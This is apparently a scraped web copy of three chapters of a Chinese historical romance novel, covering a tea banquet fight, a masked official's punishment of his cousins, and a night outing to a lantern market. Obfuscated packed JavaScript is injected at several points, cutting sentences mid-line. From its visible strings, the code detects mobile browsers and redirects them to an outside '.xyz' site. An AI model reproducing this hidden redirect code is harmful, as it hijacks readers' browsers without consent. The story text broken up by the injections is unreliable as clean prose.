茶宴会设在湖心小亭,四面环水,又特意从东侧人工开凿引了一条溪流过来,正从石林上倾泻而下,风景甚是优美。 宁窈到时堂上的人已经来了一些,裴娇和裴阮都在,裴娇正不满地抱怨:“外祖母怎么这样,干嘛要让她来?扫兴!” “别说了,人来了。”裴阮她也不想宁窈来。这宴是她办的,宁窈一到,这些公子哥就要全看她去了。但她这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357753|152801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做姐姐的,又不能放任妹妹口无遮拦,便敷衍地斥了裴娇一声。 看见宁窈只穿了一身素衣,叫她大松了口气。她今日头上别了五根金钗,宁窈一根都没有,便颇为得意。 她上下打量宁窈一眼,刺了一句:“裴家是短你吃了还是短你穿了,叫你这样就来。待会儿宴上来的可都是名门贵子,你少给我们裴家丢人。” “窈妹,这边!”这时四舅母房里的两个姐妹裴芙裴苗拉她过去,宁窈便去了她们这一桌。 “咱们别理她,”裴芙说:“就裴娇那张嘴,张嘴就咬人,逮谁咬谁,咱们坐这儿喝茶。” 裴苗问她:“咦,你小妹妹呢?怎么没来。” 宁窈道:“我没让她来,这儿人多,怕她认生。” “胆子这么小啊。”裴苗说:“胆子越小,反而越要练练,不能完全不见人的。” 宁窈何尝不也是这么想?但她有苦难言,只能笑笑,将话头引到别的地方去了。 陆续又有宾客入场,无不例外落座后都朝坐在窗棂下的宁窈投去目光。 宁窈安安静静地坐在那儿,穿着一身半新不旧的蜜色素面夹袄,头上挽乌黑油亮的双月发髻,一张粉面未施粉黛,眉清目秀,唇红齿白,脸颊上那淡雅的绯红,不是胭脂的颜色,而是从白玉似的皮肤下自然透出来的血色,宛若一朵无声盛放的纯白百合花。 裴娇见状,也扭头看宁窈,才看见宁窈坐的位置,侧方正好有晨光,那光打在她脸上,好像给她镀了一层柔光,顿时有些愤愤,咬了咬嘴唇,说:“这还不心机深重!” 宁窈跟小姐妹谈天喝茶,这时突闻屋外有人进来通报,“阎公子到了。” 她心中一怔,抬起头,就见阎关山款步从屋外走了进来。 阎关山果然和梦中相貌相同,只是梦境里火光冲天,她又被强压在地上,视线受阻,看不大清楚,看人总是影影绰绰的。此时浓烟散尽,阎关山的面庞显得尤为清晰。他比她梦境中看起来身材要更纤薄,皮肤白皙,五官偏瘦偏窄,是文人的秀气长相。 阎关山落了坐,也朝她投来一瞥,那双眼睛落在她身上,停顿了良久,方才缓慢地挪回他身旁友人身上。 今日来的公子们早被裴阮将家底摸了一清二楚。阎关山父亲是当朝首辅,家里三个孩子,阎关山排行老二。他会念书,又写了一手好文章,深得父亲喜爱,官场前途一片光明,是嫁人的最佳人选。阎关山便是今日裴娇和裴阮两姐妹的座上宾。 但无论裴阮裴娇两姐妹如何殷切,阎关山对她们礼貌有余,亲近不足,很是疏远。 宴会上几位少年少女斗茶品茶,进行到一半,裴芙和裴苗被她们母亲叫了回去。裴芙裴苗走后,宁窈便自己挑茶沏茶。 眼前的光线突然一暗,宁窈抬了抬头,阎关山走到她面前,道:“姑娘面生,以前不曾见过,可是裴家新来的那位宁小姐?” 在他面前,宁窈半垂着头,只能看见衣领下那道白皙如瓷的纤长脖颈,和因握紧竹勺而微泛红的淡粉色指腹。 “我叫阎关山,”阎关山报了自己的姓名家世,然后念了那句诗,“关关雎鸠,在河之洲,窈窕淑女,君子好逑。宁姑娘的名字取得极好。” 11. 受罚 他亲手罚的。 梦境中,他们二人的情愫就是因这首诗展开。 但宁窈只觉荒谬。这诗句婉转动人,纯是前人们的才情,与他阎关山有何关系? “我也觉得我名字取得好,”宁窈昂起首,淡笑着说:“‘关山难越,谁悲失路之人;萍水相逢,尽是他乡之客。’阎公子,您的名字,就取得平平了,还有一股悲戚之色。” 她有意骄纵自大,只盼着阎关山快些走。 阎关山却不仅不恼,反倒发出一声大笑,只觉得宁窈有美貌有才情还十分有趣,与其他女子不同。 他竟在她身旁坐下,含着笑说:“口渴了,可否在你这儿讨一杯茶?” 这么多空位不坐,阎关山非要坐在她旁边,其余人纷纷朝这边望了过来。 裴娇愤懑不平,她挖空心思想留的人留不下,非往宁窈哪儿去,还赶都赶不走。 裴阮脸色不变,但心中也是大为吃味。这场宴别人都是配角,阎关山才是主菜。 现在倒好,便宜宁窈去了。 “这儿是茶宴,有这么多茶可品,为何非要喝我的。”宁窈说。 阎关山道:“其他人茶艺平平,只有窈姑娘可入眼。” 方才他看了许久宁窈沏茶。 宁窈泡茶时,白指纤纤,澄黄清亮的茶水在她指尖翻飞,宛若一道流光似的金丝线,被她编排成一支舞曲,尤为动人。 “阎公子真是高傲,”宁窈继续冷言冷语,“从不将他人放在眼里,觉得其他人都是草芥,入不得您的法眼。” 阎关山又笑,道:“窈姑娘教训得是,我眼皮浅,只愿看想看的人。” 阎关山死皮赖脸不肯走,宁窈也不能无礼。 便选茶、烧水、沏茶。 片刻后,将一只清白的茶盏摆在阎关山面前。 “慢品。” 阎关山接过呷了一口。 一口茶入喉,阎关山眉梢立刻拧了起来,然后很快舒展开,笑问道:“窈姑娘茶水中放了什么?喝起来这么特别。” 宁窈道:“黄连。” 阎关山:“……” 黄连味苦。 这口茶下去,阎关山可是狠吃了苦头。 阎关山听完,竟又笑了一声,径直将余下的半碗茶喝了,还笑着对她说:“原来姑娘是茶医。我近日来正好有些心火要去,这茶解渴了。” 阎关山的确有一副好皮囊。 那张瘦削单薄的脸,浓黑的瑞凤眼,身上的墨香,都给他营造出一种常年手捧书卷的清雅气质。又被她几次三番捉弄也不恼,好像是让人揉圆搓瘪的好脾气,迷惑性十足。 两人正说着。 “你算是个什么东西?也配跟你爷爷争?你老子就是个投机倒把的土匪,在我太爷爷面前是要提鞋!” “你爷爷是个东西怎么生了你这么个不是东西的?你爷爷喝尿挣得军功,迟早也得被你这么个孽障败光!” 两人正说着,邻桌几名少年忽地闹腾了起来。 今日宴请的宾客众多,其中有一位是震国大将军李达武的曾孙李蔷。 李蔷跟裴远一般,也是个嚣张跋扈之徒。 两人都是勾栏瓦肆里的常客,时下青楼里有位名叫金姐的角儿风头正足。 两位争想当金姐的入幕之宾,打得头破血流。 今日在茶宴上刚好撞见,一句话没对付,便生出争端。 都是含金汤勺出生的金贵爷,谁也不服谁,带的随从、仆人和小厮也多,一来二去便扭打在了一起,踢翻了几只茶案供桌。 “别打了别打了!”裴阮吓得脸色惨白。 这这茶宴是她牵的头,如今出了这么大的乱子,莫说在场的人要在背后嘲笑她好几日,就是传到她母亲、祖母那里,她也是要挨训的。 不知谁提醒了裴阮一句:“快去请二少爷。” 裴阮这才回了魂,忙抓来一名小丫鬟,推搡道:“快,快去把二堂兄请来!” 家仆忙不迭地去请裴朝。 不一时,裴朝匆匆来了。 又是拉这个,又是拦那个。 若是平日,这几位少年怎么也得给他个面子。 可今日急红了眼,连裴朝的话也不听。 堂里乱糟糟一片。 只听“啪”的一声,一只茶杯径直砸到了宁窈面前。 刚烧开的茶壶打了个粉碎,桌上的茶杯泼湿了宁窈的裙摆。 “小心!” 阎关山护着宁窈,抬手挡宁窈的脸,手背上被烫出一串水泡。 “谁干的?过来。”阎关山一心要在宁窈面前挣表现,要扔茶杯的,过来向宁窈赔礼道歉。 扔茶杯的刚好就是裴远。 裴远怎么可能依? 他压根不将女子放在眼里。 凡是女子,对他而言不过是个肉套子。 让他赔礼道歉?没有的事儿! 他正骂在兴头上,便将宁窈也一并骂了进去,道:“你阎关山在这儿凑什么热闹?她宁窈是我表妹,我是她表兄。她嫁人也该先经我的手!等我玩腻了,再考虑给不给你!” 这话骂得相当肮脏下作。 其他几名少年也直摇头。 “算了算了,别再说了。”有人劝裴远。 话骂了出去,裴远才有些后怕。 但骂都骂了,覆水难收。 他便红着眼睛,梗着脖子,死不低头。 “今日真要撕烂你这张臭嘴。”阎关山说罢也动了手,剩余几人也蜂拥而上,各帮各的主子。 宴会上没有长辈,全是年轻气盛的少年,见打起来了,也不拉架,反倒盼着打得更热闹,在一旁跺脚助兴。还有浑水摸鱼的、拉偏架的、嗑瓜子的…… 一群人挤来挤去,鞋子都飞出来了几只。 “莫要再打了,莫要再打了!” 这时突然有人奔来急急报: “裴大人这会儿正在临水亭,听到动静,已经往这边过来了……” 听到裴台熠的名号。 这几人方瞬间住手,开始有些后怕。 “什么?” “他,他怎么在?” 裴台熠在陈家点的那把火这才刚烧灭,余威正盛。 他们这帮官家子弟每日在外头胡混归家,在堂下听家中父母念经似的念叨的,口中都是裴台熠的名头: “陈家那事儿咱们可有牵连?” “跟陈家的书信可都烧了?” “万万不可让那九幽司抓住了马脚!” “可怜陈家上下几十口人……裴狗这把刀真是够狠。” …… 父母这些震慑性话语还在耳畔回荡。 就要见到裴台熠本尊。 刚刚狂妄自大、目中无人,口中高喊父辈功勋为自己脸上贴金的孩子们。 各个面如菜色,腿如筛糠。 裴阮也脸惨白一片,手中一面桃粉帕子快要被她挍烂了,咬着唇说:“大堂兄不是从不管后院事的么,怎么这回闹到他跟前去了?” “这回真是赶巧,”家仆也战战兢兢地抹着额前的汗珠,“裴大人今日从宫里回得早,就在临水亭下棋。临水亭离这儿就隔了几盏芭蕉树,一闹就全听到了。” 这边话音未落,就见堂前长廊尽头,那道黑曜石般的身影,已经在众人簇拥之间往这边过来。 “今儿倒热闹。”一名小厮搭起帘,裴台熠款步入内。面上戴着青铜兽纹面具,黝黑铁面背后,是一双更为幽深漆黑的眼眸。他说话的声带着丝戏谑的调笑,但传入耳中却叫人不寒而栗。 府上年龄稍长的家仆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357754|152801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趁机开口打打圆场,道:“是几位小少爷在闹着玩呢。” 几个小辈全都低着头,堂上寂静无声。裴阮怕裴台熠惩罚,小声哭了起来,可又怕他心硬,连哭都不敢哭得太大声,在嗓子里可怜兮兮的啜泣出几声来。 宁窈站在一群孩子里,也被气氛感染,双手双脚仿佛被束缚住,心砰砰直跳。她还是不敢看裴台熠的那张面具,低垂着头。 裴台熠坐下后,先是让李蔷、阎关山等几位不姓裴的回去。 阎关山想开口对宁窈说句什么。 若他不打裴远,其实局面不一定有现在这么难看。 但最后他什么也没说话,只轻轻叹了口气,带着人告辞了。 等屋里只剩裴家小辈在跪着,裴台熠一不问怎么回事儿,二不发火降罚,而是拾起新奉来的茶,略略呷了一口 裴台熠不动声色地品茶,那群孩子更是满头大汗。反正是伸头一刀缩头一刀,还不如就让这刀子快些降下呢。 过了须臾,裴台熠茶终于喝完了,又开口问小厮几桩家事,“老太太近日可喝药了?” “近日天凉,老太太夜里受了寒,药量比往日又多了一倍。” 就这么将这群孩子晾了将近一炷香,裴台熠方才起身,道:“都别跪着了,碍眼得很。也都老大不小了,仅做些丢人的事。打个架都像在扯头花,男子汉大丈夫的,要打就去军营里打,那儿有的是蛮子给你们打。行了,所有人,一人抄一遍资治通鉴滚蛋。” 裴台熠放下话,几个孩子长松一口气,幸好是抄书不是挨板子。 裴朝大着胆子,开口道:“宁窈妹妹也要抄么?这不关她的事。她是挨欺负的。” 裴台熠敛着的眼眸便扫了过来。几个少女都在抹眼泪,唯独宁窈是安安静静的。她只是在他面前垂着头,澄明的眼睛眼底干燥无尘。而她周围,绕了一群苍蝇似的狂蜂浪蝶。 “所有人。”裴台熠看向裴朝,反问:“她在所有人里面吗?” “在……”裴朝只得应下,不敢再多言。 裴台熠旋身出去,几个少年少女悻悻然地松了口气,各自回去。 至于抄书? 那是能躲就躲。 他们父母都安排了书童,抄书这般的苦活,直接扔给书童就是了。 宁窈没书童,也没叫别人代自己受过的习惯,便自己拿笔默默抄。 “宁窈妹妹,”裴朝说,“只能辛苦你了。” “我抄得很快的,”宁窈说。 “我那大堂兄……”裴朝说:“哎,他脾气太大了,真没人敢莫逆他……” “我知道的,”宁窈甜甜地说:“谢谢刚刚二表哥帮我说话。” “我也没帮上你什么。”裴朝说。 “你写完就先回去吧。”宁窈说:“我再抄一会儿。” 裴朝犹豫了半晌,春闱将近,他正忙着读书,今日过来救火,已经耽误了不少时间,他心里也一直记挂着。“那我就先走一步了。” “二表哥再见。” 裴朝一走,屋里便没余什么人了。 宁窈又独自抄了一会儿。 “喵呜……” 这时一只金灿灿的肉团子跳上了桌。 “诶!阿寅!”宁窈欣喜地抱住“小猫”,又搂又亲,“以后别乱跑呀,会被他们抓住的。” 还有人跟在“小猫”身后。 紧随“小猫”其后的,便是“裴吉”。 没等宁窈反应过来,裴台熠已经将她手中的笔拿了过去,替她抄了起来。 宁窈怔怔,有些没反应过来。 “你怎么来啦?” 裴台熠没说话,只是手中的笔游走不停。 他亲手罚的。 又亲手帮她抄。 这算个什么事儿? 12. 错过 宁窈抄了半个时辰,正眼疲手乏,脑子也是昏昏沉沉。 忽而见裴台熠进来,还有些愣神。 “你怎么来了?” 裴台熠头也不抬,只道:“阿寅今天烦死。快些抄,抄完叫它折腾你,莫要再来烦我。” 宁窈怎会不知裴台熠惯是口是心非。 他可不会说是关心她,只会说是嫌阿寅烦人。 宁窈心头如那夜捧在怀中的黄铜火炉一般温暖。 搂着阿寅亲了亲又抱了抱。 然后她轻轻推了推裴台熠,说:“你别帮我了,你的字迹跟我又不一样,会被发现的。” “你表哥又不知道你字迹是什么样。”裴台熠却无所谓。 宁窈被问到,“是哦。” 再看裴台熠已写好的几行。 有意模仿她的笔迹,已有九分相似。 只是他到底是男子,走笔如游龙飞虎,气势是藏不住的。 “今日我表哥进来,我还以为会见到你。”宁窈巧笑嫣然地说,“结果你没在。” 裴台熠笔下顿了顿,另起了一行,道:“刚巧被支去别的地方办事了,没过来。今日到底是怎么了?听说你那几个表哥欺负你?” 今日事情的来龙去脉,裴台熠已摸了个一清二楚。 他虽甚少掺和裴家后院之事,但对自己那几位堂弟性情是了如指掌。 裴远说那混账话,就是该死。 宁窈不过是倒霉,被牵连进来,白挨了个冤枉罚。 宁窈不喜跟人抱怨,闷闷地说了一句:“也没什么,他们就莫名其妙地打起来了。” 她低头亲亲大猫,说:“但我那几个表兄,尤其喜欢抓猫取乐,我真怕阿寅会不小心被他们捉了去。所以,阿寅你得快点长大呀。” 大猫奶呼呼地也蹭宁窈的脸,宁窈咯咯笑了起来。 她捧着大猫的脸瞧了瞧,忽地发现了什么,有些好奇地说:“是因为我给它取了阿寅这名的缘故么?它越长越像只小老虎了。” 裴台熠睨了大猫一眼。 大猫迫于裴台熠的淫威,连忙夹着嗓子茶里茶气地叫唤了两声。 “嗷……喵呜,嗷……喵呜。” 宁窈这才打消了疑惑,咯咯直笑,“你怎么这么可爱!可爱死了!” 裴台熠看着一人一猫其乐融融,又低头抄写。 半晌开口道:“今日不是你的错,你大表哥却还罚你,你……可生你大表哥的气?” “不生气的。”宁窈笑着说。 裴台熠默了默。 听到这个回答,他却并不觉得松了口气,反倒有些郁气。 被欺负了还不生气,岂不是更要被人欺负去? “你倒是心大。”裴台熠凉凉道。 宁窈说:“他是大表哥嘛。你那会儿不在,不知道当时的场面,吓死人了。 他要震住我们这些弟弟妹妹,自然要对底下的弟弟妹妹们一视同仁。而且若他今天有意放我一马,那几个表哥越心里有气,说不定还会欺负我更厉害。” 裴台熠继续抄着,道:“你倒是总把人往好处想。” “把人往好了想,总比把人往坏了想舒服嘛。”宁窈还是笑盈盈地。 她又托腮盯着他瞧了瞧,仿佛恍然大悟一般,突然拍手道:“呀,你是不是要我陪你一起骂他?” 裴台熠:“……” 倒也不是。 “你抄得好快,他是不是平时也总这么惩你们,所以你才抄这么快?”宁窈那边已开口了,腮帮子鼓了鼓,直呼他的名讳:“裴!台!熠!” 裴台熠突然听见宁窈叫自己的名字,胸膛微怔。 “坏死了。” “大坏蛋。” 事到如今,裴台熠也只能自己将这个黑锅给背下了。 他帮她抄书,宁窈也不闲着,拿来废纸折纸鸢逗他。 她故意将纸鸢放在他写字的手边。 他一写字,纸鸢便被碰倒,她便偷偷笑。 裴台熠被她捉弄了几次,终是恼了,将她的纸鸢没收了过去,放进袖口中。 突然面颊上,传来一丝凉意,间杂着丝丝冰凉的幽香。 宁窈的手指,在他眉骨上一滑而过。 她冲他着,长而妩媚的眉眼弯弯,恰似一道新月。 “墨蹭脸上啦,”她忽地又凑近了些,漆黑的眼眸细致地将他端详着,鼻尖唇角呼吸吐气拂在他面颊上,“好啦,现在没有了。” 她柔和包容的目光仿佛带着温度,停留在哪里,哪里的血液便开始静静地沸腾起来。 为他擦了墨滴,她又倏而噗嗤笑。 “又笑什么?”裴台熠沉声问。 宁窈将脸贴着手背,趴在桌案上,拿水润润的眼睛瞅他,有些孩子气地说: “小时候,我就盼着有个哥哥。别人都有哥哥,哥哥会带她们玩,背着回家,唯独我却没有,只有个总哭鼻子的小妹。 “我便跟我娘亲抱怨,说想要个哥哥,我娘亲背逗得直笑,说这可没法儿。 “现在,我倒是有好多表哥了,可除了裴朝表哥,他们都欺负我。 “裴吉哥哥。 “你真好。 少女带着银铃笑的声音传进他的耳朵里,“要是你真是我哥哥,那该多好!” 裴台熠笔触一顿,恰写到一句。 “君子挟才以为善,小人挟才以为恶。” 其实他这个表哥,也是坏的,也在欺负她。 不过,他也从不在乎被人恭维这么一句“人真好。” 好人不长命,祸害才遗千年。 他这种穷凶极恶之人,最后才会想要的东西、人,应有尽有。 笔尖墨断,裴台熠拂袖子搁笔,道:“拿去交差。” “这么快!”宁窈感激道。 他其实也就抄了个七七八八。 反正这玩意儿最后也是交来他这儿。 他可不想自己为难自己。 “嘭!” 屋外突然有烟花炸开。 宁窈立刻竖耳抬头望。 窗外姹紫嫣红的烟花映红了半边天,也映红了她的脸。 那双水润的眼睛轻轻眨了眨,流露出一丝难得的孩子气。 从黔南一路风尘仆仆过来,见了不少热闹,但却一直在赶路,没机会好好去逛一逛。到了裴家,也是日日如履薄冰,更不用说出去玩的了。 她也有些想去看看京城的繁华集市,但又想到家中的生病的妹妹,这份渴望就演变成了罪恶感。 妹妹还在生病,家中余粮也不多,还有医书没研究透。 这时想着出去玩,实在罪过。 裴台熠瞥了她一眼。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357755|152801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他随心所欲惯了,想做什么便做什么,更不讲规矩礼数。 “走。”他起身道。 宁窈茫然问:“走?去哪儿?” “带你出去玩。”裴台熠冷淡地说。 “出,出去玩?”宁窈闻言既跃跃欲试又犹犹豫豫。 “算,算了吧,我得回去了。” 裴台熠道:“屋里闷得慌,天天在屋里待着,人都要变二傻子了,你想变二傻子?走了。” 裴台熠不由分说,拉着她就走。 阿寅一步三跳,迅速跟上。 宁窈先还是愣着,然后不由自主地缓步跟上。 最后脚步越来越轻快,嘴角绽开了笑颜。 她满心期待,叽叽喳喳地缠着他问长问短,“裴吉哥哥,我们去哪儿?去集市吗?去看烟花吗?” 她跟上了,对他又无比信任。 裴台熠反而突然不悦起来。 叫她来。 就来。 这么好骗? 他又停住,从怀中掏出一把精巧匕首,扔给她,道:“路上谁欺负你,捅他。” 宁窈接住刀,但脸上还是茫茫然,“啊?” 经常捅人的都知道,捅人其实是个技术活。 人对同类其实天然有一种怜悯之心。 捅下去当对方流出和自己同样颜色的血,会不安、惊恐,不敢下手。 裴台熠便握上了她的手。她的手微凉,皙白的皮肤滑腻,如一块温润的暖玉。 他将那把匕首举了起来,隔着刀鞘,抵在自己的心窝上,道:“往这里,捅到底,会了么?” 宁窈没摸过刀,更没捅过人。 手掌被裴台熠灼热的掌心烫出了一层薄汗。 她懵懵懂懂,但仍非常乖巧地点了点头,甜甜地说:“我明白了。” “走了。”裴台熠人高腿长,几步便走远了。 宁窈将小匕首收好,提裙跟上。 裴台熠错眼往后瞟。 见她走得慢,又不动声色地缓了一步。 待她跟上了,方才挑灯徐徐往外走。 * 烟花响起时,裴朝在另一边厢房里起身。 “爷可是要出去?” 裴朝披了斗篷,挑灯道:“嗯,我出去转转。” 小厮欲言又止,道:“那爷早点回,今儿老爷回了,怕晚些要唤您过去,问今日的书读得怎么样了。” “我知道的。”裴朝挑灯出去。 他匆匆回到茶坊。 方才他不该先回去的。 念书,那玩意儿什么时候都能念的。 怎么能放宁窈一个人在屋子里抄书? 裴远折回来欺负她怎么办? 遇到恶人怎么办? “窈妹。”茶坊里灯灭了,屋里静悄悄的,空无一人。 裴朝环顾那空荡荡的桌案,上头留的纸笺墨迹未干。 宁窈多半也是刚走。 瞧着桌上娟娟字迹,他心中不禁怅然。 他来得晚了点。 “爷,真该回去了。”身旁小厮挑灯催促着,“夫人老爷那边万不可耽误,若是老爷回了没见着您,又要说您这几日没好好读书。” 裴朝这才转身又折了回去。 他这一转身,并不知日后他会像这样晚来多少次。 13. 祈愿灯 京城市集与宁窈的家乡金筑是截然不同。 这里的街道繁华似锦,车水马龙。用珐琅纸蒙成的火红的宫灯串联成一条由地尽到天际的星河。一口口大锅中汤料沸腾,烹煮着各色小食。 沿街小贩叫喊着,声音拖得老长,尾音打出一个朝上的音调。 宁窈在人流中穿梭,裴台熠缓步跟在她的身后,不近,也不远。 她的个头刚好到他胸口的位置,偶尔因拥挤的人流停顿下,便感觉到身后的热气扑了过来,一丝丝熨着她的耳廓。 她刻意忽略掉耳朵上的温度,在一家卖玩意的小店铺前驻了足。 那小贩见来了生意,喜不自禁,正要开口说吉祥话,“客官,您请好……” 话音未落,裴台熠那头就眼梢一挑,将他的话拦腰截断—— “没成婚。” 不戴面具。 不被人用惊恐的目光仰视。 就如众多平凡百姓一般走在人群中。 这亦是裴台熠少有的经历。 他听厌了商贩们的话术。 见着一男一女同行。 一定说郎才女貌,新婚燕尔。 盼着说这些吉祥话,能将人哄高兴了,多掏些钱来。 他不喜这种尴尬的场面,眉宇间的神色恹恹的。 此言一出,换那小贩愣了一愣,道: “啊?我没打算说你们是夫妻啊? “你们一看就是兄妹嘛。 “哥哥带着妹妹出来玩吧。来来来,走过路过不要错过,我这儿的手工艺品,做工那是顶顶的,你们上哪儿都挑不出这般好的……” 小贩没说那讨嫌的话。 裴台熠脸色不仅不见霁色。 反而又沉了沉。 宁窈听着两人你来我往的对话,忍俊不禁。 她细细瞧了瞧店家铺子里摆出的手工玩意。 京城民间时下兴玩一种名叫“送瘟神”的游戏。 由一名孩子扮作“瘟神”,另一群孩子扮演“百姓”。 扮“瘟神”的要在前头跑,其他孩子追。 “瘟神”跑得越远,便就是将瘟神送得越远。 来年将风调雨顺,山河清平。 宁窈有意叫裴台熠笑。 取下一旁木架上的“瘟神”鬼面戴在脸上,张牙舞爪地吓唬起他。 “怕不怕?” “我吓不吓人。” 裴台熠两臂抱在胸前睨她。 “你怎么不怕,没劲儿!来玩嘛,很好玩的。”她从面具后露出那张盈盈的笑脸,然后取下面具,将面具对上裴台熠的脸。 身旁人流如织,喧闹声不绝于耳,不断有陌生人同他们擦肩而过,被灯光倒影成一道道绰绰的影子。 裴台熠冷白的皮肤,如工笔画雕琢般精致的面容,藏匿在那张狰狞鬼面背后。 只剩下一双黑洞洞的深邃的眼眸。 沉沉地朝她睃了过来。 这双眼睛仿佛一汪寂静无声的沼泽。 要将一切经过它的有生命的东西,全都卷进池底吞没。 类似的目光,宁窈只从另一个人身上见到。 她登时好似被灼伤到。 往后趔趄退了半步。 “不戴了,戴着吓人。”她的心砰砰跳着,一把扔下面具,转身去到下一家小店。 裴台熠身形微微僵了僵。 目光缓慢地,挪动在那张被扔掷到一旁的面具上。 半晌,他忽地无所谓地牵动嘴角露出一个冷笑。 他扔了小贩一块银元,只说了四个字,“面具烧了。” 两人继续往前走,一条河水蜿蜒环绕着城墙,河上漂浮着一只只精巧的宫灯,宛如一条星河坠落人间。 宁窈好奇地问:“这是什么?” 一位在路边卖纸灯的婆婆告诉她,“这是祈福灯,小姑娘,请一盏吧,吉利的。” 宁窈眼睛亮了亮,道:“我想请一盏。” 提着小灯,宁窈坐在河畔石阶上,淡色的裙摆和乌黑的长发拖曳在地。 灯纸展开,兴致勃勃地落下清隽的小字来。 写字时,裴台熠倚着石桥,注视着水中漂浮的光点。 并不关心她写了些什么。 点灯这事儿,于他而言并没有什么特别。 当黑灯亮起,血腥和杀戮便随着而来。 对此他谈不上喜欢,但也谈不上厌恶。 就像吃饭喝水,没人会对吃饭喝水这样平常的事产生好恶。 转眼,宁窈已写好,提灯走到裴台熠面前,言笑晏晏地问:“裴吉哥哥,你猜我写的是什么?” 裴台熠眉梢扬了扬,声线淡淡,道:“不是出入平安,便是日进斗金。来来去去祈福许愿,求的不都是这些事。” 宁窈却嗤笑,眉眼弯弯地说:“嘁,我就知道你猜不到!” 她含着笑,玉白的双手将掌心里的那盏小灯缓缓托起。 橙黄如豆的烛火,照亮了她的脸,乌黑的头发、纤长的眼睫,额角柔软的淡淡的绒毛,全都盛着那暖融融的光。于是在黑夜里,她整个人发看起来好似在发光一般。 他的目光情不自禁地寻着这道光,如同失魂的野鬼看见了一缕指路的莹莹幽光。野鬼跟着那光走,无论那光带他们上天堂还是下地狱。 蒙了一层半透明的朦朦胧胧的玻璃灯纸,随着在火光缓缓旋转,宛如走马观花,如梦似幻。 那纸上落的娟娟字迹,一边旋转着,一边徐徐在他眼前展开。 纸上写着—— “希望裴吉,每天至少能大笑至少三次。” 宁窈捧着那小灯走到河边,俯身将灯盏缓缓放进宁静奔流的河水中。 “天大地大,开心最大。钱啊、名啊,都比不上开心。”她回头冲他笑着说:“你总不爱笑,所以我祈愿就是希望你也能天天开心。” 那灯离了她的指尖,顺着河道漂流而下。它起初是迷航的,忽然撞到一块凸起的假山礁石,巷道变了,在一道水涡旋转之后,重新汇入了茫茫灯海。 裴台熠淡棕色的眼眸,一瞬不瞬地凝视着那盏在河流中上下飘摇的小灯。 看它随着波浪起起伏伏,时而沉没,时而浮起,最终化作河道尽头的一点萤火。 可惜了。 他心道。 他捏了个假名。 他不叫裴吉。 即便神仙要保佑,也该保佑错人了。 “嘭!”第二场烟花在他们头顶炸开。 一群孩童在他们身边兴奋地奔跑而去:“烟花!放烟花了!” 还有孩童们在玩“送瘟神”,戴着各色鬼面面具摇头晃脑:“追不到我追不到我!” “快看!”人海中,宁窈昂首望向烟灰色的天穹,“刚刚都没看全!现在又能看!” 漫天火光映红了她的面庞。 她一直在看烟火。 而裴台熠的目光,一直在望她。 * 这夜宁窈玩得尽兴。 至到回去的路上,也叽叽喳喳说个不停。 惦记着哪家哪家馄饨好吃,哪家哪家宫灯漂亮。 天下无不散的宴席,每当高昂欢快的情绪到达顶峰时,便会有一种失落感席来。 突如其来地,宁窈静了下来。 她低下头,怔怔地看着裴台熠给她买的兔子灯。 宁晓最喜欢小兔子。 今日若是宁晓也在就好了。 她在外面瞎胡闹,小妹却只能躲在家里不见天日。 “怎么了?”裴台熠见宁窈突然过分安静,扭头问她。 “没什么。”宁窈忙摇了摇头,有些事是连“裴吉”都不能说的。 “只是突然想着,要是我妹妹在就好了。” 裴台熠道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357756|152801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“这有何难?下次你将她带着就是了。她那么小一丁点,又不占地方。” 宁窈忍俊不禁,“是呀……” 一定一定会有这么一天的。 “裴吉哥哥,你家有几口人?”宁窈问。 裴台熠随口就编:“十来个吧,我家人多。” “那……”接下来要说的字,在宁窈舌尖上打了几个滚,“你今年除夕,要回老家过年么?” “不回。”裴台熠干脆地回答。 每年年关,反而是他最忙的时候。 新帝性情喜怒无常,每次宫宴上,都会有几名不知趣撞枪口的人遭殃。 他这头忙完再回去,一身血气,裴家人也不待见。 所以他一般除夕给父母上个香,又到祖母屋里请个安。 这年就算过了。 “那,那你会在院子里嘛?”宁窈眼睛有些期待。 